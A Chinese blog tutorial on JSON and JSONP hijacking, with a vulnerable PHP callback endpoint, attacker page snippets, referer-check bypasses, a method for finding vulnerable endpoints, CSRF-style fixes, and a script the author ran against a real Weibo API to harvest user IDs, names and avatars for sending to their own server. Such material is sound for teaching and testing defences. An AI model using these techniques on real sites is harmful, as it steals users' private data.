JSON劫持攻擊[彙總]

JSON JavaScript Chrome 瀏覽器 Firefox PHP 一棵大樹飛了 2019-06-15

JSON 劫持又為“ JSON Hijacking ”,最開始提出這個概念大概是在 2008 年國外有安全研究人員提到這個 JSONP 帶來的風險。其實這個問題屬於 CSRF( Cross-site request forgery 跨站請求偽造)攻擊範疇。當某網站聽過 JSONP 的方式來快域(一般為子域)傳遞用戶認證後的敏感信息時,攻擊者可以構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。

漏洞原理

JSON實際應用的時候會有兩種傳輸數據的方式:

xmlhttp獲取數據方式:

{"username":"wooyun","password":"wooyun"}

當在前端獲取數據的時候,由於數據獲取方和數據提供方屬於同一個域下面,所以可以使用 xmlhttp的方式來獲取數據,然後再用xmlhttp獲取到的數據傳入自己的js邏輯如eval。

script獲取數據方式:

userinfo={"username":"wooyun","password":"wooyun"}

如果傳輸的數據在兩個不同的域,由於在javascript裡無法跨域獲取數據,所以一般採取script標籤的方式獲取數據,傳入一些callback來獲取最終的數據,這就有可能造成敏感信息被劫持。

所以,總的來說就是網站以JSON形式輸出數據,且其中包含用戶敏感信息,攻擊者通過第三方站點以CSRF手段使用戶瀏覽器請求目標站點得到包含敏感信息的JSON數據,進而劫持到敏感信息。

json劫持

json劫持攻擊又為”JSON Hijacking”,攻擊過程有點類似於csrf,只不過csrf只管發送http請求,但是json-hijack的目的是獲取敏感數據。

一些web應用會把一些敏感數據以json的形式返回到前端,如果僅僅通過cookie來判斷請求是否合法,那麼就可以利用類似csrf的手段,向目標服務器發送請求,以獲得敏感數據。

比如下面的鏈接在已登錄的情況下會返回json格式的用戶信息:

http://www.test.com/userinfo

攻擊者可以在自己的虛假頁面中,加入如下標籤:

<script src="http://www.test.com/userinfo"></script>

如果當前瀏覽器已經登錄了www.test.com,並且cookie未過期,然後訪問了攻擊者的虛假頁面,那麼該頁面就可以拿到json形式的用戶敏感信息,因為script標籤會自動解析json數據,生成對應的js對象。然後再通過

Object.prototype.__defineSetter__

這個函數來觸發自己的惡意代碼。

但是這個函數在當前的新版本chrome和firefox中都已經失效了。

jsonp劫持

Jsonp(json with padding)是基於 JSON 格式的為處理跨域請求資源而產生的處理方案,遠程調使用 JSON 文件來實現數據傳遞。利用script元素的開放策略,網頁可以得到從其他來源動態產生的json數據,因此可以用來實現跨域。

舉一個例子

<?php
$callback = $_GET['callback'];
print $callback . '({"id" : "1","name" : "小明"});';
?>

這裡出現了callback他的作使用就是回調我們的json。

web程序如果通過這種方式跨域之後,攻擊者完全可以在自己的虛假頁面中發起惡意的jsonp請求,這就引來了安全問題。比如:

<script>
function useUserInfo(v){
alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服務器端的userinfo接口支持jsonp,那就會使虛假頁面成功執行useUserInfo函數,從而導致安全問題。

json劫持的挖掘過程的referer繞過機制。

  1. 正則不嚴謹

如正常請求的referer:www.123.com

我們修改為referer

只要要攻擊者利使用時註冊相應的域名即可以繞過

  1. 空referer

這裡直接刪去referer是最簡單的一個

jsonp接口漏洞挖掘

相關的介紹就不細細道來了,其實原理也就是JSONP實際上是使用script方式獲取Javascript代碼,進而執行,因此可以在我們自己的頁面中,使用JSONP獲取數據,並使用Javascript Hook的方式,讓其執行我們自定義的回調函數,獲取敏感信息。

需要滿足的條件:

  1. 使用JSONP獲取數據;
  2. 未檢測 referer或者驗證了 referer,但是驗證方式不嚴謹,如需要驗證的 referer 為 www.xxx.com 域,但是 www.xxx.com.mydomain.com 同樣能夠繞過;
  3. GET請求中不包含token相關的參數

如何挖掘這樣的接口呢?我們可以使用Fiddler、burpsuite或者F12等方法去一個個檢查,但這樣豈不是要累死人了……

更輕鬆的方式:自動化測試工具Selenium + Proxy + 驗證腳本

(1)Selenium:可用於自動化對網頁進行測試,“到處”點擊按鈕、超鏈接,以期待測試更多的接口;

(2)Proxy:用於代理所有的請求,過濾出所有包含敏感信息的JSONP請求,並記錄下HTTP請求;

(3)驗證腳本:使用上述的HTTP請求,剔除referer字段,再次發出請求,測試返回結果中,是否仍包敏感信息,如果有敏感信息,說明這個接口就是我們要找的!

測試:

使用腳本進行測試,我以sina為例,首先需要登錄sina帳號,微博或者博客都可以,然後開啟瀏覽器代理,運行我們的腳本,最後瀏覽網頁,就能檢測出這樣的JSONP接口了

JSON劫持攻擊[彙總]

JSON劫持攻擊[彙總]



至此發現該JSONP接口,簡單寫兩句JS代碼放到我們的網站上:

$.ajax({
url: 'https://api.weibo.com/2/{隱藏了哦}',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json["data"]["id"];
var screen_name = json["data"]["screen_name"];
var profile_image_url = json["data"]["profile_image_url"];
var post_data = "";
post_data += "id=" + id + "&";
post_data += "screen_name=" + screen_name + "&";
post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);
console.log(post_data);
// 發送到我的服務器上
}).fail(function() {});

很快就可以收到大波的用戶信息了

JSON劫持攻擊[彙總]


相關的代碼放到了Github上,https://github.com/qiaofei32/jsonp_info_leak

漏洞危害

JSON劫持主要能夠造成的危害大概有這麼幾類:

1. 可能導致用戶權限被盜用;

攻擊者通過JSON劫持構造盜取管理員或高權限用戶的腳本,一旦被訪問,權限立即被盜用。

2. 可以通過劫持對網頁進行掛馬;

在JSON劫持點構造引向漏洞後門木馬,但訪問直接利用漏洞批量掛馬。

3. 可對劫持頁進行網站釣魚;

利用JSON劫持直接導向偽裝網站地址。

4. 可做提權攻擊;

5. 變種拒絕服務攻擊;

劫持後將流量導向受害網站,直接發動DDOS攻擊。

解決方法

其實json劫持和jsonp劫持屬於CSRF( Cross-site request forgery 跨站請求偽造)的攻擊範疇,所以解決的方法和解決csrf的方法一樣。

  1. 驗證 HTTP Referer 頭信息;
  2. 在請求中添加 csrfToken 並在後端進行驗證;

相關推薦

推薦中...